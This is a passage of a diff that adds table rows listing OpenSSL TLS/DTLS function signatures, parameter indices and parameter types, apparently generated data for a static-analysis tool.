*,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 4 | size_t | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add0_chain_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *) | | ssl_cert_add1_chain_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 2 | X509 * | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 3 | int | +| (SSL_CONNECTION *,SSL_CTX *,X509 *,int,int) | | ssl_security_cert | 4 | int | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 1 | SSL_CTX * | +| (SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *) | | ssl_cert_set1_chain | 2 | stack_st_X509 * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 1 | TLSEXT_INDEX | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 2 | int | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 3 | RAW_EXTENSION * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 4 | X509 * | +| (SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t) | | tls_parse_extension | 5 | size_t | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 1 | TLS_RECORD * | +| (SSL_CONNECTION *,TLS_RECORD *,size_t) | | ssl_release_record | 2 | size_t | +| (SSL_CONNECTION *,WPACKET *) | | dtls_construct_hello_verify_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | dtls_construct_hello_verify_request | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | ssl3_get_req_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | ssl3_get_req_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_certificate_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_certificate_request | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_certificate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_client_hello | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_new_session_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_new_session_ticket | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_next_proto | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_next_proto | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_server_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *) | | tls_construct_server_hello | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 2 | CERT_PKEY * | +| (SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int) | | ssl3_output_cert_chain | 3 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | int | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_alpn | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_cookie | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_psk | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_ctos_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_alpn | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 1 | WPACKET * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t) | | tls_construct_stoc_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 1 | X509 * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 2 | EVP_PKEY * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 3 | stack_st_X509 * | +| (SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | tls1_check_chain | 4 | int | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 1 | const OSSL_RECORD_METHOD * | +| (SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *) | | ossl_ssl_set_custom_record_layer | 2 | void * | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 1 | const size_t ** | +| (SSL_CONNECTION *,const size_t **,size_t *) | | tls1_get_group_tuples | 2 | size_t * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 1 | const stack_st_X509_NAME * | +| (SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *) | | construct_ca_names | 2 | WPACKET * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 1 | const uint16_t ** | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_requested_keyshare_groups | 2 | size_t * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 1 | const uint16_t ** | +| (SSL_CONNECTION *,const uint16_t **,size_t *) | | tls1_get_supported_groups | 2 | size_t * | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 1 | const unsigned char ** | +| (SSL_CONNECTION *,const unsigned char **,size_t *) | | tls1_get_formatlist | 2 | size_t * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 1 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t) | | lookup_sess_in_cache | 2 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 1 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 2 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 3 | const unsigned char * | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 4 | size_t | +| (SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **) | | tls_decrypt_ticket | 5 | SSL_SESSION ** | +| (SSL_CONNECTION *,int *) | | dtls_get_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int *) | | dtls_get_message | 1 | int * | +| (SSL_CONNECTION *,int *) | | tls_get_message_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int *) | | tls_get_message_header | 1 | int * | +| (SSL_CONNECTION *,int) | | dtls1_read_failed | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | int | +| (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | int | +| (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | int | +| (SSL_CONNECTION *,int) | | tls1_shared_group | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *) | | ssl_choose_client_version | 2 | RAW_EXTENSION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 1 | int | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 2 | RAW_EXTENSION * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 3 | X509 * | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 4 | size_t | +| (SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int) | | tls_parse_all_extensions | 5 | int | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 1 | int | +| (SSL_CONNECTION *,int,const uint16_t **) | | tls12_get_psigalgs | 2 | const uint16_t ** | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 1 | int | +| (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 1 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 2 | int | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 3 | char * | +| (SSL_CONNECTION *,int,int,char *,int) | | ossl_tls_handle_rlayer_return | 4 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 1 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 2 | int | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 3 | const char * | +| (SSL_CONNECTION *,int,int,const char *,...) | | ossl_statem_fatal | 4 | ... | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 1 | int | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 2 | unsigned char * | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 3 | size_t | +| (SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE) | | ssl_fill_hello_random | 4 | DOWNGRADE | +| (SSL_CONNECTION *,size_t *) | | dtls_get_message_body | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,size_t *) | | dtls_get_message_body | 1 | size_t * | +| (SSL_CONNECTION *,size_t *) | | tls_get_message_body | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,size_t *) | | tls_get_message_body | 1 | size_t * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 1 | stack_st_SSL_CIPHER * | +| (SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *) | | ssl3_choose_cipher | 2 | stack_st_SSL_CIPHER * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 1 | stack_st_X509 * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 2 | X509 * | +| (SSL_CONNECTION *,stack_st_X509 *,X509 *,int) | | ssl_security_cert_chain | 3 | int | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 1 | uint8_t | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 2 | const unsigned char * | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 3 | size_t | +| (SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *) | | do_dtls1_write | 4 | size_t * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 1 | uint8_t | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 2 | const void * | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 3 | size_t | +| (SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_bytes | 4 | size_t * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 1 | unsigned char ** | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 2 | const void * | +| (SSL_CONNECTION *,unsigned char **,const void *,size_t) | | construct_key_exchange_tbs | 3 | size_t | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 1 | unsigned char * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 2 | unsigned char * | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 3 | size_t | +| (SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *) | | ssl3_generate_master_secret | 4 | size_t * | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 1 | unsigned char | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 2 | size_t | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 3 | size_t | +| (SSL_CONNECTION *,unsigned char,size_t,size_t,size_t) | | dtls1_set_message_header | 4 | size_t | +| (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | unsigned long | +| (SSL_CTX *) | | SSL_CTX_get0_param | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_client_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_default_passwd_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_default_passwd_cb_userdata | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_get_info_callback | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_get_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_new_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sess_get_remove_cb | 0 | SSL_CTX * | +| (SSL_CTX *) | | SSL_CTX_sessions | 0 | SSL_CTX * | +| (SSL_CTX *) | | ossl_quic_new | 0 | SSL_CTX * | +| (SSL_CTX *) | | ossl_ssl_connection_new | 0 | SSL_CTX * | +| (SSL_CTX *) | | ssl_load_groups | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_get_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_get_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_new_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_new_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_remove_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_sess_set_remove_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_client_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_client_cert_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_generate_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_generate_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_verify_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_verify_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_info_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_info_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_msg_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_msg_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_not_resumable_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_not_resumable_session_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_record_padding_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_record_padding_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_security_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_security_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_client_pwd_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_client_pwd_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_username_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_username_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_verify_param_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_verify_param_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_generate_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_generate_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_verify_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_verify_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tlsext_ticket_key_evp_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | 